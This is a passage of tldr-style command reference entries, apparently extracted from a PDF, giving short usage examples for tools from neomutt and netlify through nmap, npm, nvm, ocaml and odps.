neomutt -f {{path/to/mailbox}}

• Start writing an email and specify a subject and a cc recipient:

neomutt -s "{{subject}}" -c {{cc@example.com}}


{{recipient@example.com}}

• Send an email with files attached:

neomutt -a {{path/to/file1 path/to/file2 ...}} --


{{recipient@example.com}}

• Specify a file to include as the message body:

neomutt -i {{path/to/file}} {{recipient@example.com}}

• Specify a draft file containing the header and the body of the message, in RFC 5322
format:

neomutt -H {{path/to/file}} {{recipient@example.com}}


netlify
Deploy sites and configure continuous deployment to the Netlify platform.

More information: https://cli.netlify.com.

• Log in to the Netlify account:

netlify login

• Deploy the contents of a directory to Netlify:

netlify deploy

• Configure continuous deployment for a new or an existing site:

netlify init

• Start a local dev server:

netlify dev
netstat
Displays network-related information such as open connections, open socket ports, etc.

More information: https://man7.org/linux/man-pages/man8/netstat.8.html.

• List all ports:

netstat --all

• List all listening ports:

netstat --listening

• List listening TCP ports:

netstat --tcp

• Display PID and program names:

netstat --program

• List information continuously:

netstat --continuous

• List routes and do not resolve IP addresses to hostnames:

netstat --route --numeric

• List listening TCP and UDP ports (+ user and process if you're root):

netstat --listening --program --numeric --tcp --udp --extend


newman
Collection runner for Postman.

More information: https://github.com/postmanlabs/newman.

• Run a collection (from a file):

newman run {{path/to/collection.json}}

• Run a collection (from a URL):

newman run {{https://www.getpostman.com/collections/631643-


f695cab7-6878-eb55-7943-ad88e1ccfd65-JsLv}}
newsboat
An RSS/Atom feed reader for text terminals.

More information: https://newsboat.org/.

• First import feed URLs from an OPML file:

newsboat -i {{my-feeds.xml}}

• Alternatively, add feeds manually:

echo {{http://example.com/path/to/feed}} >> "$


{HOME}/.newsboat/urls"

• Start newsboat and refresh all feeds on startup:

newsboat -r

• Execute a space-separated list of commands in non-interactive mode:

newsboat -x {{reload print-unread ...}}

• See keyboard shortcuts (the most relevant are visible in the status line):

?
next
React framework that uses server-side rendering for building optimized web
applications.

More information: https://nextjs.org/docs.

• Start the current application in development mode:

next dev

• Start the current application and listen on a specific port:

next dev --port {{port}}

• Build the current application optimized for production:

next build

• Start the compiled application in production mode:

next start

• Start the compiled application and listen on a specific port:

next start --port {{port}}

• Export the current application to static HTML pages:

next export

• Display the Next.js telemetry status:

next telemetry

• Display help for a subcommand:

next {{build|dev|export|start|telemetry}} --help


nextflow
Tool for running computational pipelines. Mostly used for bioinformatics workflows.

More information: https://www.nextflow.io.

• Run a pipeline, use cached results from previous runs:

nextflow run {{main.nf}} -resume

• Run a specific release of a remote workflow from GitHub:

nextflow run {{user/repo}} -revision {{release_tag}}

• Run with a given work directory for intermediate files, save execution report:

nextflow run {{workflow}} -work-dir {{path/to/directory}} -


with-report {{report.html}}

• Show details of previous runs in current directory:

nextflow log

• Remove cache and intermediate files for a specific run:

nextflow clean -force {{run_name}}

• List all downloaded projects:

nextflow list

• Pull the latest version of a remote workflow from Bitbucket:

nextflow pull {{user/repo}} -hub bitbucket

• Update Nextflow:

nextflow self-update
nf-core
The nf-core framework tools, to create, check and develop best-practice guidelines for
Nextflow.

More information: https://nf-co.re/tools.

• List existing pipelines on nf-core:

nf-core list

• Create a new pipeline skeleton:

nf-core create

• Lint the pipeline code:

nf-core lint {{path/to/directory}}

• Bump software versions in pipeline recipe:

nf-core bump-version {{path/to/directory}} {{new_version}}

• Launch an nf-core pipeline:

nf-core launch {{pipeline_name}}

• Download an nf-core pipeline for offline use:

nf-core download {{pipeline_name}}


ng
Command-line Interface (CLI) for creating and managing Angular applications.

More information: https://angular.io/cli.

• Create a new Angular application inside a directory:

ng new {{project_name}}

• Add a new component to one's application:

ng generate component {{component_name}}

• Add a new class to one's application:

ng generate class {{class_name}}

• Add a new directive to one's application:

ng generate directive {{directive_name}}

• Run the application with the following command in its root directory:

ng serve

• Build the application:

ng build

• Run unit tests:

ng test

• Check the version of your current Angular installation:

ng version
nginx
Nginx web server.

More information: https://nginx.org/en/.

• Start server with the default config file:

nginx

• Start server with a custom config file:

nginx -c {{config_file}}

• Start server with a prefix for all relative paths in the config file:

nginx -c {{config_file}} -p {{prefix/for/relative/paths}}

• Test the configuration without affecting the running server:

nginx -t

• Reload the configuration by sending a signal with no downtime:

nginx -s reload
ngrep
Filter network traffic packets using regular expressions.

More information: https://github.com/jpr5/ngrep.

• Capture traffic of all interfaces:

ngrep -d any

• Capture traffic of a specific interface:

ngrep -d {{eth0}}

• Capture traffic crossing port 22 of interface eth0:

ngrep -d {{eth0}} port {{22}}

• Capture traffic from or to a host:

ngrep host {{www.example.com}}

• Filter keyword 'User-Agent:' of interface eth0:

ngrep -d {{eth0}} '{{User-Agent:}}'


ngrok
Reverse proxy that creates a secure tunnel from a public endpoint to a locally running
web service.

More information: https://ngrok.com.

• Expose a local HTTP service on a given port:

ngrok http {{80}}

• Expose a local HTTP service on a specific host:

ngrok http {{foo.dev}}:{{80}}

• Expose a local HTTPS server:

ngrok http https://localhost

• Expose TCP traffic on a given port:

ngrok tcp {{22}}

• Expose TLS traffic for a specific host and port:

ngrok tls -hostname={{foo.com}} {{443}}


ngs
Scripting language created specifically for Ops.

More information: https://github.com/ngs-lang/ngs.

• Execute a code snippet:

ngs -e "{{echo('ngs is executed')}}"

• Execute a script:

ngs {{path/to/script.ngs}}

• Print the version:

ngs --version
nice
Execute a program with a custom scheduling priority (niceness).

Niceness values range from -20 (the highest priority) to 19 (the lowest).

More information: https://www.gnu.org/software/coreutils/nice.

• Launch a program with altered priority:

nice -n {{niceness_value}} {{command}}


nikto
Web server scanner which performs tests against web servers for multiple items.

More information: https://cirt.net/Nikto2.

• Perform a basic Nikto scan against a target host:

perl nikto.pl -h {{192.168.0.1}}

• Specify the port number when performing a basic scan:

perl nikto.pl -h {{192.168.0.1}} -p {{443}}

• Scan ports and protocols with full URL syntax:

perl nikto.pl -h {{https://192.168.0.1:443/}}

• Scan multiple ports in the same scanning session:

perl nikto.pl -h {{192.168.0.1}} -p {{80,88,443}}

• Update to the latest plugins and databases:

perl nikto.pl -update


nim
The Nim compiler.

Processes, compiles and links Nim language source files.

More information: https://nim-lang.org.

• Compile a source file:

nim compile {{file.nim}}

• Compile and run a source file:

nim compile -r {{file.nim}}

• Compile a source file with release optimizations enabled:

nim compile -d:release {{file.nim}}

• Build a release binary optimized for low file size:

nim compile -d:release --opt:size {{file.nim}}

• Generate HTML documentation for a module (output will be placed in the current
directory):

nim doc {{file.nim}}


nimble
Package manager for the Nim programming language.

Manage Nim projects and their dependencies.

More information: https://github.com/nim-lang/nimble.

• Search for packages:

nimble search {{search_string}}

• Install a package:

nimble install {{package_name}}

• List installed packages:

nimble list -i

• Create a new Nimble package in the current directory:

nimble init

• Build a Nimble package:

nimble build

• Install a Nimble package:

nimble install
ninja
A Build system designed to be fast.

More information: https://ninja-build.org/manual.html.

• Build in the current directory:

ninja

• Build a program in a given directory:

ninja -C {{path/to/directory}}

• Show targets (e.g. install and uninstall):

ninja -t targets

• Show help:

ninja -h
nix-build
Build a Nix expression.

More information: https://nixos.org/releases/nix/latest/manual#sec-nix-build.

• Build a Nix expression:

nix-build --attr {{expression_name}}

• Build a sandboxed Nix expression (on non-NixOS):

nix-build --attr {{expression_name}} --option sandbox true


nix-collect-garbage
Delete unused and unreachable nix store paths.

Generations can be listed using nix-env --list-generations.

More information: https://nixos.org/releases/nix/latest/manual/#sec-nix-collect-


garbage.

• Delete all store paths unused by current generations of each profile:

sudo nix-collect-garbage --delete-old

• Simulate the deletion of old store paths:

sudo nix-collect-garbage --delete-old --dry-run

• Delete all store paths older than 30 days:

sudo nix-collect-garbage --delete-older-than {{30d}}


nix-env
Manipulate or query Nix user environments.

More information: https://nixos.org/manual/nix/stable/#sec-nix-env.

• List all installed packages:

nix-env -q

• Query installed packages:

nix-env -q {{search_term}}

• Query available packages:

nix-env -qa {{search_term}}

• Install package:

nix-env -iA nixpkgs.{{pkg_name}}

• Install a package from a URL:

nix-env -i {{pkg_name}} --file {{example.com}}

• Uninstall package:

nix-env -e {{pkg_name}}

• Upgrade one package:

nix-env -u {{pkg_name}}

• Upgrade all packages:

nix-env -u
nix-shell
Start an interactive shell based on a Nix expression.

More information: https://nixos.org/manual/nix/stable/#sec-nix-shell.

• Start with nix expression in shell.nix or default.nix in the current


directory:

nix-shell

• Run shell command in non-interactive shell and exit:

nix-shell --run "{{command}} {{command_arguments}}"

• Start with expression in default.nix in the current directory:

nix-shell {{default.nix}}

• Start with packages loaded from nixpkgs:

nix-shell --packages {{package_name_1}} {{package_name_2}}

• Start with packages loaded from specific nixpkgs revision:

nix-shell --packages {{package_names}} -I nixpkgs={{https://


github.com/NixOS/nixpkgs/archive/nixpkgs_revision.tar.gz}}

• Evaluate rest of file in specific interpreter, for use in #!-scripts (see https://
nixos.org/manual/nix/stable/#use-as-a-interpreter):

nix-shell -i {{interpreter}} --packages {{package_names}}


nix
Utilities for the Nix language and store.

More information: https://nixos.org.

• Search for a package via its name or description:

nix search {{search_term}}

• Start a Nix shell with the specified packages available:

nix run {{nixpkgs.pkg1 nixpkgs.pkg2 nixpkgs.pkg3...}}

• Optimise Nix store disk usage by combining duplicate files:

nix optimise-store

• Start an interactive environment for evaluating Nix expressions:

nix repl

• Upgrade Nix to the latest stable version:

nix upgrade-nix
nkf
Network kanji filter.

Converts kanji code from one encoding to another.

More information: https://manned.org/nkf.

• Convert to UTF-8 encoding:

nkf -w {{path/to/file.txt}}

• Convert to SHIFT_JIS encoding:

nkf -s {{path/to/file.txt}}

• Convert to UTF-8 encoding and overwrite the file:

nkf -w --overwrite {{path/to/file.txt}}

• Set new line code to LF and overwrite (UNIX type):

nkf -d --overwrite {{path/to/file.txt}}

• Set new line code to CRLF and overwrite (windows type):

nkf -c --overwrite {{path/to/file.txt}}

• Decrypt mime file and overwrite:

nkf -m --overwrite {{path/to/file.txt}}


nl
A utility for numbering lines, either from a file, or from standard input.

More information: https://www.gnu.org/software/coreutils/nl.

• Number non-blank lines in a file:

nl {{file}}

• Read from standard output:

cat {{file}} | nl {{options}} -

• Number only the lines with printable text:

nl -t {{file}}

• Number all lines including blank lines:

nl -b a {{file}}

• Number only the body lines that match a basic regular expression (BRE) pattern:

nl -b p'FooBar[0-9]' {{file}}
nload
A tool for visualizing network usage in the terminal.

More information: https://github.com/rolandriegel/nload.

• View all network traffic (use the arrow keys to switch interfaces):

nload

• View network traffic on specific interfaces (use the arrow keys to switch
interfaces):

nload device {{interface_one}} {{interface_two}}


nm
List symbol names in object files.

• List global (extern) functions in a file (prefixed with T):

nm -g {{file.o}}

• List only undefined symbols in a file:

nm -u {{file.o}}

• List all symbols, even debugging symbols:

nm -a {{file.o}}

• Demangle C++ symbols (make them readable):

nm --demangle {{file.o}}
nmap
Network exploration tool and security / port scanner.

Some features only activate when Nmap is run with privileges.

More information: https://nmap.org.

• Check if an IP address is up, and guess the remote host's operating system:

nmap -O {{ip_or_hostname}}

• Try to determine whether the specified hosts are up and what their names are:

nmap -sn {{ip_or_hostname}} {{optional_another_address}}

• Like above, but also run a default 1000-port TCP scan if host seems up:

nmap {{ip_or_hostname}} {{optional_another_address}}

• Also enable scripts, service detection, OS fingerprinting and traceroute:

nmap -A {{address_or_addresses}}

• Assume good network connection and speed up execution:

nmap -T4 {{address_or_addresses}}

• Scan a specific list of ports (use -p- for all ports 1-65535):

nmap -p {{port1,port2,…,portN}} {{address_or_addresses}}

• Perform TCP and UDP scanning (use -sU for UDP only, -sZ for SCTP, -sO for IP):

nmap -sSU {{address_or_addresses}}

• Perform full port, service, version detection scan with all default NSE scripts active
against a host to determine weaknesses and info:

nmap -sC -sV {{address_or_addresses}}


nms
Command-line tool that recreates the famous data decryption effect seen in the 1992
movie Sneakers from stdin.

More information: https://github.com/bartobri/no-more-secrets.

• Decrypt text after a keystroke:

echo "{{Hello, World!}}" | nms

• Decrypt output immediately, without waiting for a keystroke:

{{ls -la}} | nms -a

• Decrypt the content of a file, with a custom output color:

cat {{path/to/file}} | nms -a -f {{blue|white|yellow|black|


magenta|green|red}}

• Clear the screen before decrypting:

{{command}} | nms -a -c
node
Server-side JavaScript platform (Node.js).

More information: https://nodejs.org.

• Run a JavaScript file:

node {{path/to/file}}

• Start a REPL (interactive shell):

node

• Evaluate JavaScript code by passing it as an argument:

node -e "{{code}}"

• Evaluate and print result, useful to see node's dependencies versions:

node -p "{{process.versions}}"

• Activate inspector, pausing execution until a debugger is connected once source


code is fully parsed:

node --no-lazy --inspect-brk {{path/to/file}}


nodemon
Watch files and automatically restart a node application when changes are detected.

More information: https://nodemon.io.

• Execute the specified file and watch a specific file for changes:

nodemon {{path/to/file.js}}

• Manually restart nodemon (note nodemon must already be active for this to work):

rs

• Ignore specific files:

nodemon --ignore {{path/to/file_or_directory}}

• Pass arguments to the node application:

nodemon {{path/to/file.js}} {{arguments}}

• Pass arguments to node itself if they're not nodemon arguments already (e.g. --
inspect):

nodemon {{arguments}} {{path/to/file.js}}

• Run an arbitrary non-node script:

nodemon --exec "{{command_to_run_script}} {{options}}"


{{path/to/script}}

• Run a Python script:

nodemon --exec "python {{options}}" {{path/to/file.py}}


nodenv
A tool to manage Node.js versions.

More information: https://github.com/nodenv/nodenv.

• Install a specific version of Node.js:

nodenv install {{version}}

• Display a list of available versions:

nodenv install --list

• Use a specific version of Node.js across the whole system:

nodenv global {{version}}

• Use a specific version of Node.js with a directory:

nodenv local {{version}}

• Display the Node.js version for the current directory:

nodenv version

• Display the location of a Node.js installed command (e.g. npm):

nodenv which {{command}}


nohup
Allows for a process to live when the terminal gets killed.

More information: https://www.gnu.org/software/coreutils/nohup.

• Run a process that can live beyond the terminal:

nohup {{command}} {{command_arguments}}

• Launch nohup in background mode:

nohup {{command}} {{command_arguments}} &

• Run a shell script that can live beyond the terminal:

nohup {{path/to/script.sh}} &

• Run a process and write the output to a specific file:

nohup {{command}} {{command_arguments}} > {{path/to/


output_file}} &
nokogiri
An HTML, XML, SAX and Reader parser.

More information: https://nokogiri.org.

• Parse the contents of a URL or file:

nokogiri {{url|path/to/file}}

• Parse as a specific type:

nokogiri {{url|path/to/file}} --type {{xml|html}}

• Load a specific initialisation file before parsing:

nokogiri {{url|path/to/file}} -C {{path/to/config_file}}

• Parse using a specific encoding:

nokogiri {{url|path/to/file}} --encoding {{encoding}}

• Validate using a RELAX NG file:

nokogiri {{url|path/to/file}} --rng {{url|path/to/file}}


nomad
Distributed, highly available, datacenter-aware scheduler.

More information: https://www.nomadproject.io/docs/commands/.

• Show the status of nodes in the cluster:

nomad node status

• Validate a job file:

nomad job validate {{path/to/file.nomad}}

• Plan a job for execution on the cluster:

nomad job plan {{path/to/file.nomad}}

• Run a job on the cluster:

nomad job run {{path/to/file.nomad}}

• Show the status of jobs currently running on the cluster:

nomad job status

• Show the detailed status information about a specific job:

nomad job status {{job_name}}

• Follow the logs of a specific allocation:

nomad alloc logs {{alloc_id}}

• Show the status of storage volumes:

nomad volume status


nop
Check validity and pretty-print graphs in canonical format.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://www.graphviz.org/pdf/nop.1.pdf.

• Pretty-print one or more graphs in canonical format:

nop {{path/to/input1.gv}} {{path/to/input2.gv ...}} > {{path/


to/output.gv}}

• Check one or more graphs for validity, producing no output graph:

nop -p {{path/to/input1.gv}} {{path/to/input2.gv ...}}

• Display help for nop:

nop -?
noti
Monitor a process and trigger a banner notification.

More information: https://github.com/variadico/noti.

• Display a notification when tar finishes compressing files:

noti {{tar -cjf example.tar.bz2 example/}}

• Display a notification even when you put it after the command to watch:

{{command_to_watch}}; noti

• Monitor a process by PID and trigger a notification when the PID disappears:

noti -w {{process_id}}
notmuch
Command-line based program for indexing, searching, reading, and tagging large
collections of email messages.

More information: https://notmuchmail.org/manpages/.

• Configure for first use:

notmuch setup

• Add a tag for all messages matching a search term:

notmuch tag +{{custom_tag}} "{{search_term}}"

• Remove a tag for all messages matching a search term:

notmuch tag -{{custom_tag}} "{{search_term}}"

• Count messages matching the given search term:

notmuch count --output={{messages|threads}} "{{search_term}}"

• Search for messages matching the given search term:

notmuch search --format={{json|text}} --output={{summary|


threads|messages|files|tags}} "{{search_term}}"

• Limit the number of search results to X:

notmuch search --format={{json|text}} --output={{summary|


threads|messages|files|tags}} --limit={{X}} "{{search_term}}"

• Create a reply template for a set of messages:

notmuch reply --format={{default|headers-only}} --reply-


to={{sender|all}} "{{search_term}}"
now
Cloud platform for serverless deployment.

This command is deprecated. See vercel, the updated version of this tool.

More information: https://zeit.co/now.

• Deploy the current directory:

now

• Display a list of deployments:

now list

• Display information related to a deployment:

now inspect {{deployment_url}}

• Remove a deployment:

now remove {{deployment_id}}

• Log in into an account or create a new one:

now login

• Initialize an example project (a new directory will be created):

now init
npm-check
Check for outdated, incorrect, and unused npm package dependencies.

More information: https://www.npmjs.com/package/npm-check/.

• Display a report of outdated, incorrect, and unused dependencies:

npm-check

• Interactively update out-of-date packages:

npm-check --update

• Update everything without prompting:

npm-check --update-all

• Don't check for unused packages:

npm-check --skip-unused
npm-home
Open the npm page, Yarn page, or GitHub repository of a package in the web browser.

More information: https://github.com/sindresorhus/npm-home.

• Open the npm page of a specific package in the web browser:

npm-home {{package}}

• Open the GitHub repository of a specific package in the web browser:

npm-home -g {{package}}

• Open the Yarn page of a specific package in the web browser:

npm-home -y {{package}}
npm-name
Check whether a package or organization name is available on npm.

More information: https://github.com/sindresorhus/npm-name-cli.

• Check if a specific package name is available in the npm registry:

npm-name {{package}}

• Find similar package names in the npm registry:

npm-name --similar {{package}}


npm-why
Identifies why an npm package is installed.

More information: https://www.npmjs.com/package/npm-why.

• Show why an npm package is installed:

npm-why {{package_name}}
npm
JavaScript and Node.js package manager.

Manage Node.js projects and their module dependencies.

More information: https://www.npmjs.com/.

• Interactively create a package.json file:

npm init

• Download all the packages listed as dependencies in package.json:

npm install

• Download a specific version of a package and add it to the list of dependencies in


package.json:

npm install {{module_name}}@{{version}}

• Download a package and add it to the list of dev dependencies in package.json:

npm install {{module_name}} --save-dev

• Download a package and install it globally:

npm install --global {{module_name}}

• Uninstall a package and remove it from the list of dependencies in


package.json:

npm uninstall {{module_name}}

• Print a tree of locally installed dependencies:

npm list

• List top-level globally installed modules:

npm list --global --depth={{0}}


nproc
Print the number of processing units (normally CPUs) available.

More information: https://www.gnu.org/software/coreutils/nproc.

• Display the number of available processing units:

nproc

• Display the number of installed processing units, including any inactive ones:

nproc --all

• If possible, subtract a given number of units from the returned value:

nproc --ignore {{count}}


npx
Execute binaries from npm packages.

More information: https://www.npmjs.com/package/npx.

• Execute the binary from a given npm module:

npx {{module_name}}

• In case a package has multiple binaries, specify the package name along with the
binary:

npx -p {{package_name}} {{module_name}}

• View help contents:

npx --help
nrm
npm registry manager.

Helps to easily switch between different npm registries.

More information: https://github.com/Pana/nrm.

• List all registries:

nrm ls

• Change to a particular registry:

nrm use {{registry}}

• Show the response time for all registries:

nrm test

• Add a custom registry:

nrm add {{registry}} {{url}}

• Delete a registry:

nrm del {{registry}}


nslookup
Query name server(s) for various domain records.

More information: https://manned.org/nslookup.

• Query your system's default name server for an IP address (A record) of the
domain:

nslookup {{example.com}}

• Query a given name server for a NS record of the domain:

nslookup -type=NS {{example.com}} {{8.8.8.8}}

• Query for a reverse lookup (PTR record) of an IP address:

nslookup -type=PTR {{54.240.162.118}}

• Query for ANY available records using TCP protocol:

nslookup -vc -type=ANY {{example.com}}

• Query a given name server for the whole zone file (zone transfer) of the domain
using TCP protocol:

nslookup -vc -type=AXFR {{example.com}} {{name_server}}

• Query for a mail server (MX record) of the domain, showing details of the
transaction:

nslookup -type=MX -debug {{example.com}}

• Query a given name server on a specific port number for a TXT record of the
domain:

nslookup -port={{port_number}} -type=TXT {{example.com}}


{{name_server}}
nth
Name That Hash - Instantly name the type of any hash.

More information: https://github.com/hashpals/name-that-hash.

• Name a hash:

nth -t {{5f4dcc3b5aa765d61d8327deb882cf99}}

• Name hashes in a file:

nth -f {{path/to/hashes}}

• Output in json format:

nth -t {{5f4dcc3b5aa765d61d8327deb882cf99}} -g

• Decode hash in Base64 before naming it:

nth -t {{NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTkK}} -b64


ntl
This command is an alias of netlify.

More information: https://cli.netlify.com.

• View documentation for the original command:

tldr netlify
nu
Nushell ("a new type of shell") takes a modern, structured approach to your command-
line.

More information: https://www.nushell.sh.

• Start an interactive shell session:

nu

• Execute a command and then exit:

nu --commands "{{command}}"

• Execute a script:

nu {{path/to/script.nu}}

• Execute a script with logging:

nu --loglevel {{error|warn|info|debug|trace}} {{path/to/


script.nu}}

• Print the Nushell version:

nu --version
nudoku
Sudoku game in terminal.

More information: https://jubalh.github.io/nudoku/.

• Start a sudoku game:

nudoku

• Choose the difficulty of the game:

nudoku -d {{easy|normal|hard}}

• Navigate the board:

{{h|j|k|l}} OR {{Left|Down|Up|Right}} arrow key

• Delete a number:

{{Backspace|x}}

• Get a hint:

• See the complete solution:

• Create a new puzzle:

• Quit the game:

Q
numfmt
Convert numbers to and from human-readable strings.

More information: https://www.gnu.org/software/coreutils/numfmt.

• Convert 1.5K (SI Units) to 1500:

numfmt --from={{si}} {{1.5K}}

• Convert 5th field (1-indexed) to IEC Units without converting header:

ls -l | numfmt --header={{1}} --field={{5}} --to={{iec}}

• Convert to IEC units, pad with 5 characters, left aligned:

du -s * | numfmt --to={{iec}} --format="{{%-5f}}"


nvidia-smi
Aid the management and monitoring of NVIDIA GPU devices.

More information: https://developer.nvidia.com/nvidia-system-management-interface.

• Display information on all available GPUs and processes using them:

nvidia-smi

• Display more detailed GPU information:

nvidia-smi --query

• Monitor overall GPU usage with 1-second update interval:

nvidia-smi dmon
nvim
Neovim, a programmer's text editor based on Vim, provides several modes for different
kinds of text manipulation.

Pressing i enters edit mode. <Esc> goes back to normal mode, which doesn't allow
regular text insertion.

More information: https://neovim.io.

• Open a file:

nvim {{file}}

• Enter text editing mode (insert mode):

<Esc>i

• Copy ("yank") or cut ("delete") the current line (paste it with P):

<Esc>{{yy|dd}}

• Undo the last operation:

<Esc>u

• Search for a pattern in the file (press n/N to go to next/previous match):

<Esc>/{{search_pattern}}<Enter>

• Perform a regular expression substitution in the whole file:

<Esc>:%s/{{regular_expression}}/{{replacement}}/g<Enter>

• Save (write) the file, and quit:

<Esc>:wq<Enter>

• Quit without saving:

<Esc>:q!<Enter>
nvm
Install, uninstall, or switch between Node.js versions under the fish shell.

Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.

More information: https://github.com/jorgebucaran/nvm.fish.

• Install a specific version of Node.js:

nvm install {{node_version}}

• Use a specific version of Node.js in the current shell:

nvm use {{node_version}}

• Set the default Node.js version:

set nvm_default_version {{node_version}}

• List all available Node.js versions and highlight the default one:

nvm list

• Uninstall a given Node.js version:

nvm uninstall {{node_version}}


nvm
Install, uninstall or switch between Node.js versions.

Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.

More information: https://github.com/creationix/nvm.

• Install a specific version of Node.js:

nvm install {{node_version}}

• Use a specific version of Node.js in the current shell:

nvm use {{node_version}}

• Set the default Node.js version:

nvm alias default {{node_version}}

• List all available Node.js versions and highlight the default one:

nvm list

• Uninstall a given Node.js version:

nvm uninstall {{node_version}}

• Launch the REPL of a specific version of Node.js:

nvm run {{node_version}} --version

• Execute a script in a specific version of Node.js:

nvm exec {{node_version}} node {{app.js}}


nx
CLI utility for managing nx workspaces.

More information: https://nx.dev/l/r/getting-started/nx-cli.

• Build a specific project:

nx build {{project}}

• Test a specific project:

nx test {{project}}

• Execute a target on a specific project:

nx run {{project}}:{{target}}

• Execute a target on multiple projects:

nx run-many --target {{target}} --projects {{project1}},


{{project2}}

• Execute a target on all projects in the workspace:

nx run-many --target {{target}} --all

• Execute a target only on projects that have been changed:

nx affected --target {{target}}


objdump
View information about object files.

More information: https://manned.org/objdump.

• Display the file header information:

objdump -f {{binary}}

• Display the dis-assembled output of executable sections:

objdump -d {{binary}}

• Display a complete binary hex dump of all sections:

objdump -s {{binary}}
obs
Open Broadcaster Software.

Video recording and livestreaming program.

More information: https://obsproject.com/.

• Launch OBS:

obs

• Launch OBS in portable mode:

obs --portable

• Automatically start recording a video on launch:

obs --startrecording

• Automatically start the replay buffer on launch:

obs --startreplaybuffer

• Automatically start streaming on launch:

obs --startstreaming

• Minimise to the system tray on launch:

obs --minimize-to-tray

• Make the log more verbose (for debugging):

obs --verbose
oc
The OpenShift Container Platform CLI.

Allows for application and container management.

More information: https://docs.openshift.com/container-platform/3.11/cli_reference/


get_started_cli.html.

• Log in to the OpenShift Container Platform server:

oc login

• Create a new project:

oc new-project {{project_name}}

• Switch to an existing project:

oc project {{project_name}}

• Add a new application to a project:

oc new-app {{repo_url}} --name {{application}}

• Open a remote shell session to a container:

oc rsh {{pod_name}}

• List pods in a project:

oc get pods

• Log out from the current session:

oc logout
ocaml
The OCaml repl (read-evaluate-print-loop).

Interprets Ocaml commands.

More information: https://ocaml.org.

• Read OCaml commands from the user and execute them:

ocaml

• Read OCaml commands from a file and execute them:

ocaml {{path/to/file.ml}}

• Run OCaml script with modules:

ocaml {{module1}} {{module2}} {{path/to/file.ml}}


ocamlc
The OCaml bytecode compiler.

Produces executables runnable by the OCaml interpreter.

More information: https://ocaml.org.

• Create a binary from a source file:

ocamlc {{path/to/source_file.ml}}

• Create a named binary from a source file:

ocamlc -o {{path/to/binary}} {{path/to/source_file.ml}}

• Automatically generate a module signature (interface) file:

ocamlc -i {{path/to/source_file.ml}}
ocamlfind
The findlib package manager for OCaml.

Simplifies linking executables with external libraries.

More information: http://projects.camlcity.org/projects/findlib.html.

• Compile a source file to a native binary and link with packages:

ocamlfind ocamlopt -package {{package1}},{{package2}} -


linkpkg -o {{executable}} {{source_file.ml}}

• Compile a source file to a bytecode binary and link with packages:

ocamlfind ocamlc -package {{package1}},{{package2}} -linkpkg


-o {{executable}} {{source_file.ml}}

• Cross-compile for a different platform:

ocamlfind -toolchain {{cross-toolchain}} ocamlopt -o


{{executable}} {{source_file.ml}}
ocamlopt
The OCaml native code compiler.

Produces native executables, e.g. ELF on Linux.

More information: https://ocaml.org.

• Compile a source file:

ocamlopt -o {{path/to/binary}} {{path/to/source_file.ml}}

• Compile with debugging enabled:

ocamlopt -g -o {{path/to/binary}} {{path/to/source_file.ml}}


ocrmypdf
Generate a searchable PDF or PDF/A from a scanned PDF or an image of text.

More information: https://ocrmypdf.readthedocs.io/en/latest/cookbook.html.

• Create a new searchable PDF/A file from a scanned PDF or image file:

ocrmypdf {{path/to/input_file}} {{path/to/output.pdf}}

• Replace a scanned PDF file with a searchable PDF file:

ocrmypdf {{path/to/file.pdf}} {{path/to/file.pdf}}

• Skip pages of a mixed-format input PDF file that already contain text:

ocrmypdf --skip-text {{path/to/input.pdf}} {{path/to/


output.pdf}}

• Clean, de-skew, and rotate pages of a poor scan:

ocrmypdf --clean --deskew --rotate-pages {{path/to/


input_file}} {{path/to/output.pdf}}

• Set the metadata of the searchable PDF file:

ocrmypdf --title "{{title}}" --author "{{author}}" --subject


"{{subject}}" --keywords "{{keyword; key phrase;
...}}" {{path/to/input_file}} {{path/to/output.pdf}}

• Display help:

ocrmypdf --help
od
Display file contents in octal, decimal or hexadecimal format.

Optionally display the byte offsets and/or printable representation for each line.

More information: https://www.gnu.org/software/coreutils/od.

• Display file using default settings: octal format, 8 bytes per line, byte offsets in
octal, and duplicate lines replaced with *:

od {{path/to/file}}

• Display file in verbose mode, i.e. without replacing duplicate lines with *:

od -v {{path/to/file}}

• Display file in hexadecimal format (2-byte units), with byte offsets in decimal
format:

od --format={{x}} --address-radix={{d}} -v {{path/to/file}}

• Display file in hexadecimal format (1-byte units), and 4 bytes per line:

od --format={{x1}} --width={{4}} -v {{path/to/file}}

• Display file in hexadecimal format along with its character representation, and do
not print byte offsets:

od --format={{xz}} --address-radix={{n}} -v {{path/to/file}}

• Read only 100 bytes of a file starting from the 500th byte:

od --read-bytes {{100}} --skip-bytes={{500}} -v {{path/to/


file}}
odps auth
User authorities in ODPS (Open Data Processing Service).

See also odps.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Add a user to the current project:

add user {{username}};

• Grant a set of authorities to a user:

grant {{action_list}} on {{object_type}} {{object_name}} to


user {{username}};

• Show authorities of a user:

show grants for {{username}};

• Create a user role:

create role {{role_name}};

• Grant a set of authorities to a role:

grant {{action_list}} on {{object_type}} {{object_name}} to


role {{role_name}};

• Describe authorities of a role:

desc role {{role_name}};

• Grant a role to a user:

grant {{role_name}} to {{username}};


odps func
Manage functions in ODPS (Open Data Processing Service).

See also odps.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Show functions in the current project:

list functions;

• Create a Java function using a .jar resource:

create function {{func_name}} as {{path.to.package.Func}}


using '{{package.jar}}';

• Create a Python function using a .py resource:

create function {{func_name}} as {{script.Func}} using


'{{script.py}}';

• Delete a function:

drop function {{func_name}};


odps inst
Manage instances in ODPS (Open Data Processing Service).

See also odps.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Show instances created by current user:

show instances;

• Describe the details of an instance:

desc instance {{instance_id}};

• Check the status of an instance:

status {{instance_id}};

• Wait on the termination of an instance, printing log and progress information


until then:

wait {{instance_id}};

• Kill an instance:

kill {{instance_id}};
odps resource
Manage resources in ODPS (Open Data Processing Service).

See also odps.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Show resources in the current project:

list resources;

• Add file resource:

add file {{filename}} as {{alias}};

• Add archive resource:

add archive {{archive.tar.gz}} as {{alias}};

• Add .jar resource:

add jar {{package.jar}};

• Add .py resource:

add py {{script.py}};

• Delete resource:

drop resource {{resource_name}};


odps table
